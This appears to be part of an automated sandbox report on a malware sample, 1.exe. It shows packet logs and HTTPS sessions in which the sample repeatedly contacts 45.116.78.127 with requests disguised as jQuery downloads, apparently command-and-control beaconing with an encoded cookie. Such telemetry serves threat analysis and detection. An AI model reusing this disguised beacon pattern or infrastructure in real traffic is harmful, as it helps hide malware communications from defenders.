Jan 2, 2025 10:35:38.163249969 CET	50022	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:38.163260937 CET	443	50022	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:38.164524078 CET	50022	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:38.164530039 CET	443	50022	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:38.814920902 CET	443	50022	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:38.815088034 CET	50022	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:38.815112114 CET	443	50022	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:38.815165043 CET	443	50022	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:38.815176010 CET	50022	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:38.815228939 CET	50022	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:38.824234962 CET	50022	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:38.824249029 CET	443	50022	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:38.899029016 CET	50023	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:38.899060965 CET	443	50023	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:38.899128914 CET	50023	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:38.899332047 CET	50023	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:38.899346113 CET	443	50023	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:39.937705994 CET	443	50023	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:39.937788963 CET	50023	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:39.938288927 CET	50023	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:39.938302994 CET	443	50023	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:39.939491987 CET	50023	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:39.939496040 CET	443	50023	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:40.639097929 CET	443	50023	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:40.639153004 CET	443	50023	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:40.639164925 CET	50023	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:40.639190912 CET	443	50023	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:40.639204979 CET	50023	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:40.639220953 CET	443	50023	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:40.639236927 CET	50023	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:40.639265060 CET	50023	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:40.656706095 CET	50023	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:40.656722069 CET	443	50023	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:40.695739031 CET	50024	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:40.695780993 CET	443	50024	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:40.695859909 CET	50024	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:40.696021080 CET	50024	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:40.696037054 CET	443	50024	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:41.839670897 CET	443	50024	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:41.839749098 CET	50024	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:41.840224981 CET	50024	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:41.840236902 CET	443	50024	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:41.841593027 CET	50024	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:41.841598034 CET	443	50024	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:42.555840015 CET	443	50024	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:42.555924892 CET	443	50024	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:42.555928946 CET	50024	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:42.555963039 CET	443	50024	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:42.555982113 CET	443	50024	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:42.555985928 CET	50024	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:42.556029081 CET	50024	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:42.575678110 CET	50024	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:42.575695038 CET	443	50024	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:42.633533955 CET	50025	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:42.633567095 CET	443	50025	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:42.633668900 CET	50025	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:42.633898020 CET	50025	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:42.633913040 CET	443	50025	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:43.792480946 CET	443	50025	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:43.792568922 CET	50025	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:43.793153048 CET	50025	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:43.793164015 CET	443	50025	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:43.794435024 CET	50025	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:43.794440985 CET	443	50025	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:44.443327904 CET	443	50025	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:44.443376064 CET	443	50025	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:44.443413019 CET	50025	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:44.443419933 CET	443	50025	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:44.443455935 CET	50025	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:44.443512917 CET	50025	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:44.453438997 CET	50025	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:44.453460932 CET	443	50025	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:44.461564064 CET	50026	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:44.461591959 CET	443	50026	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:44.461684942 CET	50026	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:44.461905003 CET	50026	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:44.461916924 CET	443	50026	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:45.480551004 CET	443	50026	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:45.480638027 CET	50026	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:45.481059074 CET	50026	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:45.481072903 CET	443	50026	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:45.482244968 CET	50026	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:45.482264996 CET	443	50026	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:46.148955107 CET	443	50026	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:46.149019957 CET	443	50026	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:46.149029016 CET	50026	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:46.149054050 CET	443	50026	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:46.149069071 CET	50026	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:46.149090052 CET	443	50026	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:46.149113894 CET	50026	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:46.149139881 CET	50026	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:46.158411980 CET	50026	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:46.158427000 CET	443	50026	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:46.242551088 CET	50027	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:46.242593050 CET	443	50027	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:46.242674112 CET	50027	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:46.242839098 CET	50027	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:46.242851973 CET	443	50027	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:47.399558067 CET	443	50027	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:47.399652958 CET	50027	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:47.400067091 CET	50027	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:47.400074959 CET	443	50027	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:47.401076078 CET	50027	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:47.401081085 CET	443	50027	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:48.093205929 CET	443	50027	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:48.093290091 CET	443	50027	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:48.093291044 CET	50027	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:48.093310118 CET	443	50027	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:48.093342066 CET	50027	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:48.093372107 CET	443	50027	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:48.093374014 CET	50027	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:48.093417883 CET	50027	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:48.124403954 CET	50027	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:48.124418974 CET	443	50027	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:48.227309942 CET	50028	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:48.227360964 CET	443	50028	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:48.227436066 CET	50028	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:48.227785110 CET	50028	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:48.227797985 CET	443	50028	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:49.391721010 CET	443	50028	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:49.391791105 CET	50028	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:49.392328978 CET	50028	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:49.392334938 CET	443	50028	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:49.393657923 CET	50028	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:49.393663883 CET	443	50028	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:50.042937040 CET	443	50028	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:50.043051004 CET	50028	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:50.047435045 CET	443	50028	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:50.047483921 CET	443	50028	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:50.047513962 CET	50028	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:50.047564030 CET	50028	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:50.117259026 CET	50028	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:50.117286921 CET	443	50028	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:50.159670115 CET	50029	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:50.159763098 CET	443	50029	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:50.159890890 CET	50029	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:50.160157919 CET	50029	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:50.160188913 CET	443	50029	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:51.318062067 CET	443	50029	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:51.318408966 CET	50029	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:51.318892956 CET	50029	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:51.318917990 CET	443	50029	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:51.320393085 CET	50029	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:51.320405960 CET	443	50029	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:51.989379883 CET	443	50029	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:51.989523888 CET	50029	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:51.989919901 CET	443	50029	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:51.989972115 CET	443	50029	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:51.990019083 CET	50029	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:51.990053892 CET	50029	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:52.002506018 CET	50029	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:52.002542019 CET	443	50029	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:52.024219990 CET	50030	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:52.024276972 CET	443	50030	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:52.024358034 CET	50030	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:52.024660110 CET	50030	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:52.024676085 CET	443	50030	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:53.183569908 CET	443	50030	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:53.183655024 CET	50030	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:53.184107065 CET	50030	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:53.184119940 CET	443	50030	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:53.185169935 CET	50030	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:53.185175896 CET	443	50030	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:53.848239899 CET	443	50030	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:53.848474979 CET	50030	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:53.851037979 CET	443	50030	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:53.851104975 CET	443	50030	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:53.851212025 CET	50030	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:53.873604059 CET	50030	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:53.873616934 CET	443	50030	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:53.930244923 CET	50031	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:53.930346012 CET	443	50031	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:53.930439949 CET	50031	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:53.930624962 CET	50031	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:53.930660009 CET	443	50031	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:55.109692097 CET	443	50031	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:55.109772921 CET	50031	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:55.110213041 CET	50031	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:55.110236883 CET	443	50031	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:55.111417055 CET	50031	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:55.111430883 CET	443	50031	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:55.773520947 CET	443	50031	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:55.773578882 CET	443	50031	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:55.773642063 CET	50031	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:55.773642063 CET	50031	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:55.773653030 CET	443	50031	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:55.773698092 CET	50031	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:55.785859108 CET	50031	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:55.785901070 CET	443	50031	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:55.852111101 CET	50032	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:55.852159977 CET	443	50032	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:55.852233887 CET	50032	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:55.852494955 CET	50032	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:55.852509975 CET	443	50032	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:57.023479939 CET	443	50032	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:57.023569107 CET	50032	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:57.024249077 CET	50032	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:57.024260044 CET	443	50032	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:57.025952101 CET	50032	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:57.025957108 CET	443	50032	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:57.685329914 CET	443	50032	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:57.685410976 CET	50032	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:57.685452938 CET	443	50032	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:57.685499907 CET	443	50032	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:57.685519934 CET	50032	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:57.685563087 CET	50032	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:57.704967976 CET	50032	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:57.704997063 CET	443	50032	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:57.790302992 CET	50033	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:57.790342093 CET	443	50033	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:57.790462971 CET	50033	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:57.790823936 CET	50033	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:57.790834904 CET	443	50033	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:58.954056025 CET	443	50033	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:58.954272032 CET	50033	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:58.954813957 CET	50033	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:58.954822063 CET	443	50033	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:58.956211090 CET	50033	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:58.956217051 CET	443	50033	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:59.670152903 CET	443	50033	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:59.670226097 CET	50033	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:59.670311928 CET	443	50033	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:59.670361042 CET	443	50033	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:59.670387983 CET	50033	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:59.670434952 CET	50033	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:59.675111055 CET	50033	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:59.675127029 CET	443	50033	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:59.729410887 CET	50034	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:59.729463100 CET	443	50034	45.116.78.127	192.168.2.5
Jan 2, 2025 10:35:59.729553938 CET	50034	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:59.729788065 CET	50034	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:35:59.729803085 CET	443	50034	45.116.78.127	192.168.2.5
Jan 2, 2025 10:36:00.903534889 CET	443	50034	45.116.78.127	192.168.2.5
Jan 2, 2025 10:36:00.904155970 CET	50034	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:36:00.904819965 CET	50034	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:36:00.904831886 CET	443	50034	45.116.78.127	192.168.2.5
Jan 2, 2025 10:36:00.906459093 CET	50034	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:36:00.906465054 CET	443	50034	45.116.78.127	192.168.2.5
Jan 2, 2025 10:36:01.621907949 CET	443	50034	45.116.78.127	192.168.2.5
Jan 2, 2025 10:36:01.621962070 CET	50034	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:36:01.621987104 CET	443	50034	45.116.78.127	192.168.2.5
Jan 2, 2025 10:36:01.622041941 CET	50034	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:36:01.622041941 CET	443	50034	45.116.78.127	192.168.2.5
Jan 2, 2025 10:36:01.622081041 CET	50034	443	192.168.2.5	45.116.78.127

HTTP Request Dependency Graph

code.jquery.com

45.116.78.127

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:00 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:01 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:00 GMT Server: NetDNA-cache/2.2 Content-Length: 5671 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:01 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:09 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:10 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:10 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:10 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:11 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:12 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:12 GMT Server: NetDNA-cache/2.2 Content-Length: 5607 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:12 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
